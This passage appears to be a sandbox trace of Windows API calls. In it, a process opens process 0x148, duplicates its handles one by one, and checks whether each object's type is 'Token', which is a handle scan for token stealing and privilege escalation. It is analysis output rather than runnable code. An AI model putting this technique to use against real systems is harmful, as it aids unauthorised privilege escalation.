[0196.780] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.780] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.780] LocalFree (hMem=0x160a40) returned 0x0 [0196.780] CloseHandle (hObject=0x16c) returned 1 [0196.780] CloseHandle (hObject=0x168) returned 1 [0196.780] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.780] GetCurrentProcess () returned 0xffffffffffffffff [0196.781] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.781] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.781] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.781] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.781] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.781] LocalFree (hMem=0x160a40) returned 0x0 [0196.781] CloseHandle (hObject=0x16c) returned 1 [0196.781] CloseHandle (hObject=0x168) returned 1 [0196.781] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.781] GetCurrentProcess () returned 0xffffffffffffffff [0196.781] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.781] CloseHandle (hObject=0x168) returned 1 [0196.781] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.781] GetCurrentProcess () returned 0xffffffffffffffff [0196.781] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.781] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.781] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.781] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.781] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.781] LocalFree (hMem=0x160a40) returned 0x0 [0196.781] CloseHandle (hObject=0x16c) returned 1 [0196.781] CloseHandle (hObject=0x168) returned 1 [0196.782] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.782] GetCurrentProcess () returned 0xffffffffffffffff [0196.782] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.782] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.782] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.782] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.782] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.782] LocalFree (hMem=0x160a40) returned 0x0 [0196.782] CloseHandle (hObject=0x16c) returned 1 [0196.782] CloseHandle (hObject=0x168) returned 1 [0196.782] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.782] GetCurrentProcess () returned 0xffffffffffffffff [0196.782] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.782] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.782] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.782] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.782] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.782] LocalFree (hMem=0x160a40) returned 0x0 [0196.782] CloseHandle (hObject=0x16c) returned 1 [0196.782] CloseHandle (hObject=0x168) returned 1 [0196.782] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.782] GetCurrentProcess () returned 0xffffffffffffffff [0196.783] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.783] CloseHandle (hObject=0x168) returned 1 [0196.783] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.783] GetCurrentProcess () returned 0xffffffffffffffff [0196.783] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.783] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.783] LocalAlloc (uFlags=0x40, uBytes=0x70) returned 0x160a40 [0196.783] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x70, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.783] RtlEqualUnicodeString (String1="Key", String2="Token", CaseInsensitive=1) returned 0 [0196.783] LocalFree (hMem=0x160a40) returned 0x0 [0196.783] CloseHandle (hObject=0x16c) returned 1 [0196.783] CloseHandle (hObject=0x168) returned 1 [0196.783] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.783] GetCurrentProcess () returned 0xffffffffffffffff [0196.783] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.783] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.783] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.783] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.783] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.783] LocalFree (hMem=0x160a40) returned 0x0 [0196.783] CloseHandle (hObject=0x16c) returned 1 [0196.783] CloseHandle (hObject=0x168) returned 1 [0196.783] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.784] GetCurrentProcess () returned 0xffffffffffffffff [0196.784] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.784] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.784] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.784] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.784] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.784] LocalFree (hMem=0x160a40) returned 0x0 [0196.784] CloseHandle (hObject=0x16c) returned 1 [0196.784] CloseHandle (hObject=0x168) returned 1 [0196.784] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.784] GetCurrentProcess () returned 0xffffffffffffffff [0196.784] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xcc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.784] CloseHandle (hObject=0x168) returned 1 [0196.784] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.784] GetCurrentProcess () returned 0xffffffffffffffff [0196.784] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xd0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.784] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.784] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.784] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.784] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.784] LocalFree (hMem=0x160a40) returned 0x0 [0196.784] CloseHandle (hObject=0x16c) returned 1 [0196.784] CloseHandle (hObject=0x168) returned 1 [0196.784] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.785] GetCurrentProcess () returned 0xffffffffffffffff [0196.785] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xd4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.785] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.785] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.785] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.785] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.785] LocalFree (hMem=0x160a40) returned 0x0 [0196.785] CloseHandle (hObject=0x16c) returned 1 [0196.785] CloseHandle (hObject=0x168) returned 1 [0196.785] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.785] GetCurrentProcess () returned 0xffffffffffffffff [0196.785] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xd8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.785] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.785] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.785] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.785] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.785] LocalFree (hMem=0x160a40) returned 0x0 [0196.785] CloseHandle (hObject=0x16c) returned 1 [0196.785] CloseHandle (hObject=0x168) returned 1 [0196.785] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.785] GetCurrentProcess () returned 0xffffffffffffffff [0196.785] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xdc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.785] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.786] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.786] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.786] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.786] LocalFree (hMem=0x160a40) returned 0x0 [0196.786] CloseHandle (hObject=0x16c) returned 1 [0196.786] CloseHandle (hObject=0x168) returned 1 [0196.786] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.786] GetCurrentProcess () returned 0xffffffffffffffff [0196.786] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.786] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.786] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.786] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.786] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.786] LocalFree (hMem=0x160a40) returned 0x0 [0196.786] CloseHandle (hObject=0x16c) returned 1 [0196.786] CloseHandle (hObject=0x168) returned 1 [0196.786] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.786] GetCurrentProcess () returned 0xffffffffffffffff [0196.786] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xe8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.786] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.786] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.786] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.786] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.786] LocalFree (hMem=0x181a40) returned 0x0 [0196.787] CloseHandle (hObject=0x16c) returned 1 [0196.787] CloseHandle (hObject=0x168) returned 1 [0196.787] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.787] GetCurrentProcess () returned 0xffffffffffffffff [0196.787] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.787] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.787] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.787] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.787] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.787] LocalFree (hMem=0x160a40) returned 0x0 [0196.787] CloseHandle (hObject=0x16c) returned 1 [0196.787] CloseHandle (hObject=0x168) returned 1 [0196.787] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.787] GetCurrentProcess () returned 0xffffffffffffffff [0196.787] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xf0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.788] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.788] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.788] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.788] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.788] LocalFree (hMem=0x160a40) returned 0x0 [0196.788] CloseHandle (hObject=0x16c) returned 1 [0196.788] CloseHandle (hObject=0x168) returned 1 [0196.788] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.788] GetCurrentProcess () returned 0xffffffffffffffff [0196.788] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xf4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.788] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.788] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.788] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.788] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.788] LocalFree (hMem=0x160a40) returned 0x0 [0196.788] CloseHandle (hObject=0x16c) returned 1 [0196.788] CloseHandle (hObject=0x168) returned 1 [0196.788] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.788] GetCurrentProcess () returned 0xffffffffffffffff [0196.788] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.788] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.788] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.788] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.789] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.789] LocalFree (hMem=0x181a40) returned 0x0 [0196.789] CloseHandle (hObject=0x16c) returned 1 [0196.789] CloseHandle (hObject=0x168) returned 1 [0196.789] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.789] GetCurrentProcess () returned 0xffffffffffffffff [0196.789] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xfc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.789] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.789] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.789] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.789] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.789] LocalFree (hMem=0x160a40) returned 0x0 [0196.789] CloseHandle (hObject=0x16c) returned 1 [0196.789] CloseHandle (hObject=0x168) returned 1 [0196.789] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.789] GetCurrentProcess () returned 0xffffffffffffffff [0196.789] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x100, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.789] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.789] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.789] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.789] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.789] LocalFree (hMem=0x160a40) returned 0x0 [0196.789] CloseHandle (hObject=0x16c) returned 1 [0196.790] CloseHandle (hObject=0x168) returned 1 [0196.790] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.790] GetCurrentProcess () returned 0xffffffffffffffff [0196.790] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x104, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.790] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.790] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.790] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.790] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.790] LocalFree (hMem=0x160a40) returned 0x0 [0196.790] CloseHandle (hObject=0x16c) returned 1 [0196.790] CloseHandle (hObject=0x168) returned 1 [0196.790] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.790] GetCurrentProcess () returned 0xffffffffffffffff [0196.790] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x108, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.790] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.790] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.790] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.790] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.790] LocalFree (hMem=0x160a40) returned 0x0 [0196.790] CloseHandle (hObject=0x16c) returned 1 [0196.790] CloseHandle (hObject=0x168) returned 1 [0196.790] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.790] GetCurrentProcess () returned 0xffffffffffffffff [0196.791] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x10c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.791] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.791] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.791] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.791] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.791] LocalFree 